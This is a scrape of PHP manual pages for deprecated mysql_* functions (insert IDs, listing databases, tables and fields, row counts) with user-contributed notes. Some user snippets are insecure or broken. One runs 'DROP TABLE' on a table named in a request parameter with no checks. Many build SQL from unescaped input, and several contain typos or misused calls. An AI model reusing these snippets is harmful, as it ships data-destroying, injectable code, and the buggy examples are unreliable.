An effective way to retrieve the last insert id without fail or having two queries inserted at the same time causing an unexpected number being returned.

<?

mysql_query("LOCK TABLES apc_forms WRITE");
mysql_query("SET AUTOCOMMIT = 0");
mysql_query("INSERT INTO apc_forms (form_title, form_event_id, form_expirey) VALUES ('title',1,'2005-10-10')");
define('ID',mysql_query("SELECT LAST_INSERT_ID()"));
mysql_query("COMMIT");
mysql_query("UNLOCK TABLES");

?>
athies at gmail dot com 21-Jul-2005 02:36
Just a quick note. mysql_insert_id() does work with REPLACE.
ed at is-cool dot net 08-May-2005 10:25
Beware, mysql_insert_id() only returns the value of the last syntaxically correct insert statement.

If your code has a problem and the insert is not understood by the server then the value of the last working insert command is returned.

Put something else in place such as "select count( id ) from table" before and after the mysql_insert_id() call to ensure that a row was inserted.
relic at daimi dot au dot dk 20-Feb-2005 06:57
A bit more on return values:
mysql_insert_id() returns 0 if you haven't actually manipulated anything yet.

Also, it returns 0 even if the DB connection is lost[0] between inserting and calling mysql_insert_id() - so you can always count on getting an integer.

[0] By 'lost' I mean e.g. a DB crash. Actually closing the open link and then trying to communicate with the DB will of course result in an error.
brodseba AT brodseba DOT com 15-Feb-2005 12:37
It's possible to do the same with M$ Server.

function odbc_insert_id()
{
  $query = "SELECT @@IDENTITY AS ID;";
  $result = odbc_exec($this->m_rConnectionID, $query);
  $row = odbc_fetch_object($result);
  return $row->ID;
}
sander [ad] deltaserv [d0t] nl 10-Nov-2004 05:38
In reply to: sly at noiretblanc dot org:

Make sure that auto_increment has an capital A as the first letter, otherwise it WON'T work! So you have to spell it as Auto_increment... And then it works fine.
Baak 30-Sep-2004 11:04
I believe the "resource link" being referred to is not what is returned from mysql_query() but the $link returned from mysql_connect(). mysql_insert_id() will just use the most recent connection if there is no explicit $link being used.

So the above example in the manual page itself should behave the same with mysql_insert_id($link) at the end instead of the mysql_insert_id() they used. If you had multiple connections, the $link might come in handy.

Also in reading the mysql manual itself, there is some enlightening information on the fact that this does appear to be totally safe to use because it is on a per-connection basis.

Here's the relevant quote from the manual on LAST_INSERT_ID() which is located here: http://dev.mysql.com/doc/mysql/en/Information_functions.html

"The last ID that was generated is maintained in the server on a per-connection basis. This means the value the function returns to a given client is the most recent AUTO_INCREMENT value generated by that client. The value cannot be affected by other clients, even if they generate AUTO_INCREMENT values of their own. This behavior ensures that you can retrieve your own ID without concern for the activity of other clients, and without the need for locks or transactions."

Sounds safe to me. I couldn't imagine this would be done any other way *but* on a per-connection basis, otherwise chaos would ensue. The only way to test it would be to perform a multi-thread type test. Perhaps someone is up for it and wants to post their results somewhere? :)
Steve Bond 24-Jun-2004 11:47
If you use this function after doing an INSERT ... SELECT to insert multiple rows at once, you get the autonumber ID of the *first* row added by the INSERT.

e.g. if there are 4 records in table 'init' that have column 'type' = 2
I want to add these 4 records to table 'game'
Table game has an autonumber column 'game_id' that is currently at 32.

If I do this query:

INSERT INTO game (type, players, rounds)
SELECT type, players, rounds FROM init
WHERE type = 2

Then mysql_insert_id() will return 33, not 36.
Wayne Theisinger 26-Feb-2004 03:40
In response to treylane at example dot com.

It is very very very important that you put in an "or die" or some other form of error handling.

Some scripts can fail invisibly and insert invalid data throughout your whole database because of mysql_insert_id
inserting the last successful insertid rather than reporting that the last attempt failed.

example of an or die statement.

$result = mysql_query($sql)
or die("Invalid query: " . mysql_error());
$EventID = mysql_insert_id();
dtez 11-Feb-2004 04:36
any zerofills on your id get chopped off on this function because it returns an int.
sly at noiretblanc dot org 13-Nov-2003 03:29
To get the NEXT insert id use the mysql query SHOW TABLE STATUS LIKE 'tablename' and get the field auto_increment...
treylane at example dot com 24-Apr-2003 02:36
This might be obvious, but it tripped me up - be careful when using last_insert_id() with persistent connections - running last_insert_id() after a failed update/insert/etc will return the last insert id of the last successful update/insert made by that CONNECTION rather than 0 for the number of rows updated by the previous non-working query, and who knows what the last query run on that connection was.
jameszhou2001 at yahoo dot ca 16-Dec-2002 06:30
Just a reminder, mysql_insert_id() should be called after 'mysql_affected_rows()', but BEFORE 'mysql_query("COMMIT")'.
frumler at the-beach dot no_spam dot net 03-Aug-2001 11:17
If you want to use the ID that was generated for one table and insert it into a second table, you can use SQL statements like this:

INSERT INTO foo (auto,text)
    VALUES(NULL,'text');              # generate ID by inserting NULL
INSERT INTO foo2 (id,text)
    VALUES(LAST_INSERT_ID(),'text');  # use ID in second table

...found here:
http://www.mysql.com/doc/en/Getting_unique_ID.html

It works even without inserting the NULL value for some reason ;)
The following is great for monitoring:
    $new_id = mysql_insert_id();
    print "New id: $new_id\n";

Hope it helps you all, cheers.
vksgeneric at hotmail dot com 09-Dec-1999 05:14
You can't do an INSERT DELAYED and expect to get anything but zero, for it runs in a separate thread, and mysql_insert_id() is tied to the current thread.
Vlad
mysql_info
mysql_list_dbs
MySQL Functions


List databases available on a MySQL server

mysql_insert_id
mysql_list_fields
MySQL Functions
PHP Manual

mysql_list_dbs

(PHP 4, PHP 5)

mysql_list_dbs — List databases available on a MySQL server

Description

resource mysql_list_dbs ([ resource $link_identifier ] )

Returns a result pointer containing the databases available from the current mysql daemon.

Warning

This function has been DEPRECATED as of PHP 5.4.0. Relying on this function is highly discouraged.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns a result pointer resource on success, or FALSE on failure. Use the mysql_tablename() function to traverse this result pointer, or any function for result tables, such as mysql_fetch_array().

Examples

Example #1 mysql_list_dbs() example

<?php
// Usage without mysql_list_dbs()
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$res = mysql_query("SHOW DATABASES");

while ($row = mysql_fetch_assoc($res)) {
    echo $row['Database'] . "\n";
}

// Deprecated as of PHP 5.4.0
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$db_list = mysql_list_dbs($link);

while ($row = mysql_fetch_object($db_list)) {
     echo $row->Database . "\n";
}
?>

The above example will output something similar to:

database1
database2
database3

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_listdbs()

See Also

  • mysql_db_name() - Retrieves database name from the call to mysql_list_dbs
  • mysql_select_db() - Select a MySQL database

User Contributed Notes

matjung at hotmail dot com 27-Feb-2010 02:30
The result pointer contains only the databases for which the mysql_user has the select priviledge granted.
mysql_insert_id
mysql_list_fields
MySQL Functions


List MySQL table fields

mysql_list_dbs
mysql_list_processes
MySQL Functions
PHP Manual

mysql_list_fields

(PHP 4, PHP 5)

mysql_list_fields — List MySQL table fields

Description

resource mysql_list_fields ( string $database_name , string $table_name [, resource $link_identifier ] )

Retrieves information about the given table name.

This function is deprecated. It is preferable to use mysql_query() to issue an SQL SHOW COLUMNS FROM table [LIKE 'name'] statement instead.

Parameters

database_name

The name of the database that's being queried.

table_name

The name of the table that's being queried.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

A result pointer resource on success, or FALSE on failure.

The returned result can be used with mysql_field_flags(),
mysql_field_len(),
mysql_field_name() and
mysql_field_type().

Examples

Example #1 Alternate to deprecated mysql_list_fields()

<?php
$result = mysql_query("SHOW COLUMNS FROM sometable");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
if (mysql_num_rows($result) > 0) {
    while ($row = mysql_fetch_assoc($result)) {
        print_r($row);
    }
}
?>

The above example will output something similar to:

Array
(
    [Field] => id
    [Type] => int(7)
    [Null] =>
    [Key] => PRI
    [Default] =>
    [Extra] => auto_increment
)
Array
(
    [Field] => email
    [Type] => varchar(100)
    [Null] =>
    [Key] =>
    [Default] =>
    [Extra] =>
)

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_listfields()

See Also

  • mysql_field_flags() - Get the flags associated with the specified field in a result
  • mysql_info() - Get information about the most recent query

User Contributed Notes

perwool at seznam dot cz 29-Oct-2007 02:32
Every my html table output begins with heading row containing the field names. For that purpose I accepted the short combination of MySQL function, giving me a result similar to the mysql_fetch_array() for the row of values. The following example shows the basic idea. It should be adapted for the specific use:

<?php
//...
$field_names = array_keys( mysql_fetch_array( mysql_query( $query, $link), MYSQL_ASSOC));
//...
?>

The advantage of this is, that it gives the names of the result, neither the field names of the whole table.
Please read the discussion about duplicate field names in SQL result carefully. The use, as shown in the example above, increments the pointer, hence some regular function, which does not, could be more useful :-)

Jan
steve at tequilasolutions dot com 12-Sep-2006 06:33
Note, using mysql_list_fields will change the currently selected database so subsequent mysql_query operations will be on the database in param 1 not the one selected with mysql_select_db
rhyous at yahoo dot com 04-Jun-2005 03:22
To make an array containing the names of a column from a table, you use the following simple script: (Note: using table1 with three columns)

<?php
$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
    $colname = mysql_fetch_row($qColumnNames);
    $col[$colname[0]] = $colname[0];
    $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => firstcolumn
[secondcolumn] => secondcolumn
[thirdcolumn] => thirdcolumn
)
*/
?>

Or you can number the columns from zero.  This help when using it in conjunction with mysql_fetch_row to get an array.  You don't have to remember which number of the array a certain column is.

<?php
$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
    $colname = mysql_fetch_row($qColumnNames);
    $col[$colname[0]] = $x;
    $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => 0
[secondcolumn] => 1
[thirdcolumn] => 2
)
*/
?>

To use it in conjuction with mysql_fetch_row:

<?php
$row = mysql_fetch_row("SELECT * from table1",$db) or die("mysql error");
?>

You can now call $row[col[firstcolumn]].  This becomes useful when you have a lot of columns.
mbevan at marginsoftware dot com 13-Nov-2003 01:40
If you're willing to use a lot of functions to get a little information about fields in a table, this function is for you.  If you just want to get all the information you can find, you can use this:

<?php

// Taken from: http://ca.php.net/manual/en/function.mysql-field-flags.php
// Original by: amir at scrounch dot com
// Returns the name of the fields in the primary key for a table.
// Also keeps the fields in KEY order.  Handy.
function getPrimaryKeyOf($table) {
  $keys = Array();

  $query = sprintf("SHOW KEYS FROM `%s`", $table);
  $result = mysql_query($query) or die(mysql_error());

  while ($row = mysql_fetch_assoc($result)) {
    if ( $row['Key_name'] == 'PRIMARY' )
      $keys[$row['Seq_in_index'] - 1] = $row['Column_name'];
  }

  return $keys;
}

// Returns a bunch of information about a table...
// The name of the auto-increment field, if any, fields in the
// primary key (using the function above), and all information
// about all fields.
function getTableInformationOf($table) {
  $information = array(
      "auto"    => "",
      "primary" => array(),
      "fields"  => array()
    );

  $information['primary'] = $this->getPrimaryKeyOf($table);

  $result = mysql_query("DESC `$table`");
  while ( $field = mysql_fetch_assoc($result) ) {
    $information['fields'][] = $field;
    if ( $field['Extra'] == "auto_increment" )
      $information['auto'] = $field['Field'];
  }

  return $information;
}

?>
dom at brainwaveuk dot com 19-Jul-2002 07:55
mysql_list_fields() retrieves information about the given table name but you can use something like mysql_fetch_field to retrieve the field names from a result source.
mysql_list_dbs
mysql_list_processes
MySQL Functions


List MySQL processes

mysql_list_fields
mysql_list_tables
MySQL Functions
PHP Manual

mysql_list_processes

(PHP 4 >= 4.3.0, PHP 5)

mysql_list_processes — List MySQL processes

Description

resource mysql_list_processes ([ resource $link_identifier ] )

Retrieves the current MySQL server threads.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

A result pointer resource on success or FALSE on failure.

Examples

Example #1 mysql_list_processes() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');

$result = mysql_list_processes($link);
while ($row = mysql_fetch_assoc($result)){
    printf("%s %s %s %s %s\n", $row["Id"], $row["Host"], $row["db"],
        $row["Command"], $row["Time"]);
}
mysql_free_result($result);
?>

The above example will output something similar to:

1 localhost test Processlist 0
4 localhost mysql sleep 5

See Also

  • mysql_thread_id() - Return the current thread ID
  • mysql_stat() - Get current system status

User Contributed Notes

There are no user contributed notes for this page.
mysql_list_fields
mysql_list_tables
MySQL Functions


List tables in a MySQL database

mysql_list_processes
mysql_num_fields
MySQL Functions
PHP Manual

mysql_list_tables

(PHP 4, PHP 5)

mysql_list_tables — List tables in a MySQL database

Description

resource mysql_list_tables ( string $database [, resource $link_identifier ] )

Retrieves a list of table names from a MySQL database.

This function is deprecated. It is preferable to use mysql_query() to issue an SQL SHOW TABLES [FROM db_name] [LIKE 'pattern'] statement instead.

Parameters

database

The name of the database

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

A result pointer resource on success or FALSE on failure.

Use the mysql_tablename() function to traverse this result pointer, or any function for result tables, such as mysql_fetch_array().

Changelog

Version | Description
4.3.7 | This function became deprecated.

Examples

Example #1 mysql_list_tables() alternative example

<?php
$dbname = 'mysql_dbname';

if (!mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
    echo 'Could not connect to mysql';
    exit;
}

$sql = "SHOW TABLES FROM $dbname";
$result = mysql_query($sql);

if (!$result) {
    echo "DB Error, could not list tables\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

while ($row = mysql_fetch_row($result)) {
    echo "Table: {$row[0]}\n";
}

mysql_free_result($result);
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_listtables()

See Also

  • mysql_list_dbs() - List databases available on a MySQL server
  • mysql_tablename() - Get table name of field

User Contributed Notes

daniel at eguest dot net 24-Jul-2008 02:13
Just a simple note:

mysql-list-tables change the context of your active database.

for example:
<?php
//set databse context to db1
mysql_select_db("db1");

//list database tables from db2
mysql-list-tables("db2");
?>

-> Now your active database is db2 and not db1. You have to consider using your sql statements.
kroczu at interia dot pl 08-Dec-2006 03:01
<?
// here is a much more elegant method to check if a table exists ( no error generate)

if( mysql_num_rows( mysql_query("SHOW TABLES LIKE '".$table."'")))
{
 //...
}

?>
mrkvomail at centrum dot cz 29-Jan-2006 11:48
You can also do this with function mysql_query(). It's better because mysql_list_tables is old function and you can stop showing errors.

function mysql_table_exists($dbLink, $database, $tableName)
{
   $tables = array();
   $tablesResult = mysql_query("SHOW TABLES FROM $database;", $dbLink);
   while ($row = mysql_fetch_row($tablesResult)) $tables[] = $row[0];
    if (!$result) {
    }
   return(in_array($tableName, $tables));
}
Anonymous 15-Dec-2005 06:38
Getting the database status:
<?
// Get database status by DtTvB
// Connect first
mysql_connect   ('*********', '*********', '********');
mysql_select_db ('*********');

// Get the list of tables
$sql  = 'SHOW TABLES FROM *********';
if (!$result = mysql_query($sql)) { die ('Error getting table list (' . $sql . ' :: ' . mysql_error() . ')'); }

// Make the list of tables an array
$tablerow = array();
while ($row = mysql_fetch_array($result)) { $tablerow[] = $row; }

// Define variables...
$total_tables       = count($tablerow);
$statrow            = array();
$total_rows         = 0;
$total_rows_average = 0;
$sizeo              = 0;

// Get the status of each table
for ($i = 0; $i < count($tablerow); $i++) {
    // Query the status...
    $sql = "SHOW TABLE STATUS LIKE '{$tablerow[$i][0]}';";
    if (!$result = mysql_query($sql)) { die ('Error getting table status (' . $sql . ' :: ' . mysql_error() . ')'); }
    // Get the status array of this table
    $table_info = mysql_fetch_array($result);
    // Add them to the total results
    $total_rows         += $table_info[3];
    $total_rows_average += $table_info[4];
    $sizeo              += $table_info[5];
}

// Function to calculate size of the file
function c2s($bs) {
         if ($bs < 964)     { return round($bs)           . " Bytes"; }
    else if ($bs < 1000000) { return round($bs/1024,2)    . " KB"   ; }
    else                    { return round($bs/1048576,2) . " MB"   ; }
}

// Echo the result!!!!!!!!!
echo "{$total_rows} rows in {$total_tables} tables";
echo "<br>Average size in each row: " . c2s($total_rows_average/$total_tables);
echo "<br>Average size in each table: " . c2s($sizeo/$total_tables);
echo "<br>Database size: " . c2s($sizeo);

// Close the connection
mysql_close();
?>
sindijs at apollo dot lv 06-Sep-2005 05:21
Get next auto_increment value:
<?

  mysql_connect("localhost", "login", "passwd") or
         die("Cannot connect: " . mysql_error());

    mysql_select_db("db_name");

  $res = mysql_query("SHOW TABLE STATUS LIKE 'table_name' ") or die(mysql_error());

  $row_res = mysql_fetch_array($res);
  echo $row_res[Auto_increment];
 ?>
daveheslop (dave heslop) 07-May-2005 04:45
Worth noting for beginners: using a row count to test for the existence of a table only works if the table actually contains data, otherwise the test will return false even if the table exists.
wbphfox at xs4all dot nl 09-Sep-2003 09:55
Here is a way to show al the tables and have the function to drop them...

<?php

echo "<p align=\"left\">";
//this is the connection file for the database....
$connectfile = "connect.php";
require $connectfile;

$dbname = 'DATABASE NAME';

$result = mysql_list_tables($dbname);

echo "<table width=\"75%\" border=\"0\">";
echo  "<tr bgcolor=\"#993333\"> ";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Table name:</font></td>";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Delete?</font></td>";
echo  "</tr>";

    if (!$result) {
        print "DB Error, could not list tables\n";
        print 'MySQL Error: ' . mysql_error();
        exit;
    }

    while ($row = mysql_fetch_row($result)) {
        echo "<tr bgcolor=\"#CCCCCC\">";
echo    "<td>";
           print "$row[0]\n";
echo    "</td>";

echo    "<td>";
echo    "<a href=\"$PHP_SELF?action=delete&table=";
         print "$row[0]\n";
echo    "\">Yes?</a>";

echo    "</td>";

echo "</tr>";

    }

    mysql_free_result($result);

//Delete
if($action=="delete")
{
$deleteIt=mysql_query("DROP TABLE $table");
if($deleteIt)
{
echo "The table \"";
echo "$table\" has been deleted with succes!<br>";
}
else
{
echo "An error has occured...please try again<br>";
}
}

?>
thebitman at attbi dot com 07-May-2003 01:49
okay everybody, the fastest, most accurate, safest method:

function mysql_table_exists($table, $link)
{
     $exists = mysql_query("SELECT 1 FROM `$table` LIMIT 0", $link);
      if ($exists) return true;
     return false;
}

Note the "LIMIT 0", I mean come on, people, can't get much faster than that! :)
As far as a query goes, this does absolutely nothing. But it has the ability to fail if the table doesnt exist, and that's all you need!
daevid at daevid dot com 17-Dec-2002 04:36
I was in need of a way to create a database, complete with tables from a .sql file. Well, since PHP/mySQL doesn't allow that it seems, the next best idea was to create an empty template database and 'clone & rename it'. Guess what? There is no mysql_clone_db() function or any SQL 'CREATE DATABASE USING TEMPLATEDB' command. grrr...

So, this is the hack solution I came up with:

$V2DB = "V2_SL".$CompanyID;

$result = mysql_create_db($V2DB, $linkI);
if (!$result) $errorstring .= "Error creating ".$V2DB." database<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";

mysql_select_db ($V2DB, $linkI) or die ("Could not select ".$V2DB." Database");

//You must have already created the "V2_Template" database.
//This will make a clone of it, including data.

$tableResult = mysql_list_tables ("V2_Template");
while ($row = mysql_fetch_row($tableResult))
{
    $tsql = "CREATE TABLE ".$V2DB.".".$row[0]." AS SELECT * FROM V2_Template.".$row[0];
    echo $tsql."<BR>\n";
    $tresult = mysql_query($tsql,$linkI);
    if (!$tresult) $errorstring .= "Error creating ".$V2DB.".".$row[0]." table<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";
}
cdarklock at darklock dot com 06-Dec-2002 08:03
Actually, the initially posted SELECT COUNT(*) approach is flawless. SELECT COUNT(*) will provide one and only one row in response unless you can't select from the table at all. Even a brand new (empty) table responds with one row to tell you there are 0 records.

While other approaches here are certainly functional, the major problem comes up when you want to do something like check a database to ensure that all the tables you need exist, as I needed to do earlier today. I wrote a function called tables_needed() that would take an array of table names -- $check -- and return either an array of tables that did not exist, or FALSE if they were all there. With mysql_list_tables(), I came up with this in the central block of code (after validating parameters, opening a connection, selecting a database, and doing what most people would call far too much error checking):

if($result=mysql_list_tables($dbase,$conn))
{   // $count is the number of tables in the database
    $count=mysql_num_rows($result);
    for($x=0;$x<$count;$x++)
    {
        $tables[$x]=mysql_tablename($result,$x);
    }
    mysql_free_result($result);
    // LOTS more comparisons here
    $exist=array_intersect($tables,$check);
    $notexist=array_diff($exist,$check);
    if(count($notexist)==0)
    {
        $notexist=FALSE;
    }
}

The problem with this approach is that performance degrades with the number of tables in the database. Using the "SELECT COUNT(*)" approach, performance only degrades with the number of tables you *care* about:

// $count is the number of tables you *need*
$count=count($check);
for($x=0;$x<$count;$x++)
{
    if(mysql_query("SELECT COUNT(*) FROM ".$check[$x],$conn)==FALSE)
    {
        $notexist[count($notexist)]=$check[$x];
    }
}
if(count($notexist)==0)
{
    $notexist=FALSE;
}

While the increase in speed here means virtually nothing to the average user who has a database-driven backend on his personal web site to handle a guestbook and forum that might get a couple hundred hits a week, it means EVERYTHING to the professional who has to handle tens of millions of hits a day... where a single extra millisecond on the query turns into more than a full day of processing time. Developing good habits when they don't matter keeps you from having bad habits when they *do* matter.
29-Oct-2002 05:42
<?
/*
   Function that returns whole size of a given MySQL database
   Returns false if no db by that name is found
*/

  function getdbsize($tdb) {
    $db_host='localhost';
    $db_usr='USER';
    $db_pwd='XXXXXXXX';
    $db = mysql_connect($db_host, $db_usr, $db_pwd) or die ("Error connecting to MySQL Server!\n");
    mysql_select_db($tdb, $db);

    $sql_result = "SHOW TABLE STATUS FROM " .$tdb;
    $result = mysql_query($sql_result);
    mysql_close($db);

    if($result) {
        $size = 0;
        while ($data = mysql_fetch_array($result)) {
             $size = $size + $data["Data_length"] + $data["Index_length"];
        }
        return $size;
    }
    else {
        return FALSE;
    }
  }

?>

<?
/*
   Implementation example
*/

  $tmp = getdbsize("DATABASE_NAME");
  if (!$tmp) { echo "ERROR!"; }
  else { echo $tmp; }
?>
mail at thomas-hoerner dot de 04-Oct-2002 09:24
You can also use mysql_fetch_object if you consider a specialty: The name of the object-var is

Tables_in_xxxxx

where xxxxx is the name of the database.

i.e. use

$result = mysql_list_tables($dbname);
$varname="Tables_in_".$dbname;
while ($row = mysql_fetch_object($result)) {
   echo $row->$varname;
};
NewToPHP_Guy at Victoria dot NOSPAM dot com 02-Oct-2002 02:06
The example by PHP-Guy to determine if a table exists is interesting and useful (thanx), except for one tiny detail.  The function 'mysql_list_tables()' returns table names in lower case even when tables are created with mixed case.  To get around this problem, add the 'strtolower()' function in the last line as follows:

return(in_array(strtolower($tableName), $tables));
coffee at hayekheaven dot net 17-Jun-2002 05:48
Even though php guy's solution is probably the fastest here's another one just for the heck of it...
I use this function to check whether a table exists. If not it's created.

mysql_connect("server","usr","pwd")
    or die("Couldn't connect!");
mysql_select_db("mydb");

$tbl_exists = mysql_query("DESCRIBE sometable");
if (!$tbl_exists) {
mysql_query("CREATE TABLE sometable (id int(4) not null primary key,
somevalue varchar(50) not null)");
}
mysql_list_processes
mysql_num_fields
MySQL Functions


Get number of fields in result

mysql_list_tables
mysql_num_rows
MySQL Functions
PHP Manual

mysql_num_fields

(PHP 4, PHP 5)

mysql_num_fields — Get number of fields in result

Description

int mysql_num_fields ( resource $result )

Retrieves the number of fields from a query.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

Returns the number of fields in the result set resource on success or FALSE on failure.

Examples

Example #1 A mysql_num_fields() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}

/* returns 2 because id,email === two fields */
echo mysql_num_fields($result);
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_numfields()

See Also

  • mysql_select_db() - Select a MySQL database
  • mysql_query() - Send a MySQL query
  • mysql_fetch_field() - Get column information from a result and return as an object
  • mysql_num_rows() - Get number of rows in result

User Contributed Notes

php at jezusisheer dot nl 29-Mar-2007 11:10
Note that, if you want to get the amount of columns of a table and you're using the "SHOW COLUMNS FROM $table" query, you will have to use mysql_num_rows() instead of mysql_num_fields() on the result. This becomes logical when thinking about it, because the SHOW COLUMNS query returns a result with six columns (Field, Type, Null, Key, Default and Extra) and with a single row for every column found. If you'd count the number of fields, you'd always get 6. If you count the number of rows, you'll get the amount of columns found.
tharkey at tharkey dot net 19-Jun-2003 11:26
You can use it without a requete, just to list the fields :

$liste_champs = mysql_list_fields ( $Base, $Table, $connexion);

for ($i=0; $i < mysql_num_fields ($l_champs); $i++) {
                        echo ( mysql_field_name ($l_champs, $i) );
                        echo (' / ');
                        }
apass AT passmoore DOT com 01-Oct-2002 03:52
Adding to the last comment: you can dynamically loop through any number of  columns AND rows like so-

$query="your SQL";
$result=mysql_query($query) or die("Query ($query) sucks!");
$fields=mysql_num_fields($result);

echo "<table>\n<tr>";
for ($i=0; $i < mysql_num_fields($result); $i++) //Table Header
{ print "<th>".mysql_field_name($result, $i)."</th>"; }
echo "</tr>\n";
while ($row = mysql_fetch_row($result)) { //Table body
echo "<tr>";
    for ($f=0; $f < $fields; $f++) {
    echo "<td>$row[$f]</td>"; }
echo "</tr>\n";}
echo "</table><p>";

This has been tested.
matt at iwdt dot net 23-Sep-2001 06:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
    print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error
bwark at stanford dot edu 24-Dec-2000 02:56
If you just want the number of fields in a table, you can do something like this:

<?php
$db_id = mysql_connet();
$result = mysql_query("DESCRIBE [tableName], $db_id);

$numFields = mysql_num_rows($result);
?>

Because "DESCRIBE" returns one row for each field in the table (at least in MySQL), this will work.
mysql_list_tables
mysql_num_rows
MySQL Functions


Get number of rows in result

mysql_num_fields
mysql_pconnect
MySQL Functions
PHP Manual

mysql_num_rows

(PHP 4, PHP 5)

mysql_num_rows — Get number of rows in result

Description

int mysql_num_rows ( resource $result )

Retrieves the number of rows from a result set. This command is only valid for statements like SELECT or SHOW that return an actual result set. To retrieve the number of rows affected by a INSERT, UPDATE, REPLACE or DELETE query, use mysql_affected_rows().

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

The number of rows in a result set on success or FALSE on failure.

Examples

Example #1 mysql_num_rows() example

<?php

$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM table1", $link);
$num_rows = mysql_num_rows($result);

echo "$num_rows Rows\n";

?>

Notes

Note:

If you use mysql_unbuffered_query(), mysql_num_rows() will not return the correct value until all the rows in the result set have been retrieved.

Note:

For backward compatibility, the following deprecated alias may be used: mysql_numrows()

See Also

  • mysql_affected_rows() - Get number of affected rows in previous MySQL operation
  • mysql_connect() - Open a connection to a MySQL Server
  • mysql_data_seek() - Move internal result pointer
  • mysql_select_db() - Select a MySQL database
  • mysql_query() - Send a MySQL query

User Contributed Notes

mauriciocramos at gmail dot com 21-Mar-2011 12:43
When mysql.trace_mode = On, SELECT FOUND_ROWS() allway returns 0.  It looks like a bug.

In detail:

If you have a table with 5 rows and issue:

SELECT SQL_CALC_FOUND_ROWS * FROM table LIMIT 1;

mysql_num_rows() returns 1 as expected.

If you issue "SELECT FOUND_ROWS()" just in sequence, in the same connection resource, it allways returns 0 rather than expected 5.

Just switch mysql.trace_mode to Off and things will work.
Typer85 at gmail dot com 18-Mar-2010 11:20
Actually I am a little ashamed to be saying this, but I stand corrected about a rather old note I posted on 17-Jul-2007 06:44.

Using SQL_CALC_FOUND_ROWS and FOUND_ROWS( ) will NOT trigger a race condition on MySQL, as that would pretty much defy their entire purpose.

The results for their usage is actually unique per connection session as it is impossible for processes to share anything in PHP. As far as PHP is concerned, each request represents a new connection to MySQL as each request is isolated to its own process.

To simulate this, create the following script:

<?php

$Handle = mysql_connect( "localhost" , "root" , "" );
mysql_select_db( "lls" );

if( isset( $_GET[ 'Sleep' ] ) ) {
    mysql_query( "SELECT SQL_CALC_FOUND_ROWS `bid` From `blocks` Limit 1" );
} else {
    mysql_query( "SELECT SQL_CALC_FOUND_ROWS `aid` From `access` Limit 1" );
}

if( isset( $_GET[ 'Sleep' ] ) ) {
    sleep( 10 ); // Simulate another HTTP request coming in.
    $Result = mysql_query( "SELECT FOUND_ROWS( )" );
    print_r( mysql_fetch_array( $Result ) );
}

mysql_close( );

?>

Set the connection and query information for something that matches your environment.

Run the script once with the Sleep query string and once again without it. Its important to run them both at the same time. Use Apache ab or something similar, or even easier, just open two browser tabs. For example:

http://localhost/Script.php?Sleep=10
http://localhost/Script.php

If a race condition existed, the results of the first instance of the script would equal the results of the second instance of the script.

For example, the second instance of the script will execute the following SQL query:

<?php

mysql_query( "SELECT SQL_CALC_FOUND_ROWS `aid` From `access` Limit 1" );

?>

This happens while the first instance of the script is sleeping. If a race condition existed, when the first instance of the script wakes up, the result of the FOUND_ROWS( ) it executes should be the number of rows in the SQL query the second instance of the script executed.

But when you run them, this is not the case. The first instance of the script returns the number of rows of its OWN query, which is:

<?php

mysql_query( "SELECT SQL_CALC_FOUND_ROWS `bid` From `blocks` Limit 1" );

?>

So it turns out NO race condition exists, and every solution presented to combat this "issue" are pretty much not needed.

Good Luck,
admin ad djokodonev.com 16-Oct-2008 02:31
here is a working get rows function, it always gets the right result

<?php
function get_rows ($table_and_query) {
        $total = mysql_query("SELECT COUNT(*) FROM $table_and_query");
        $total = mysql_fetch_array($total);
        return $total[0];
}
?>

this is one that worked for me :-)
gtaylor at sonic dot net 10-Sep-2008 12:18
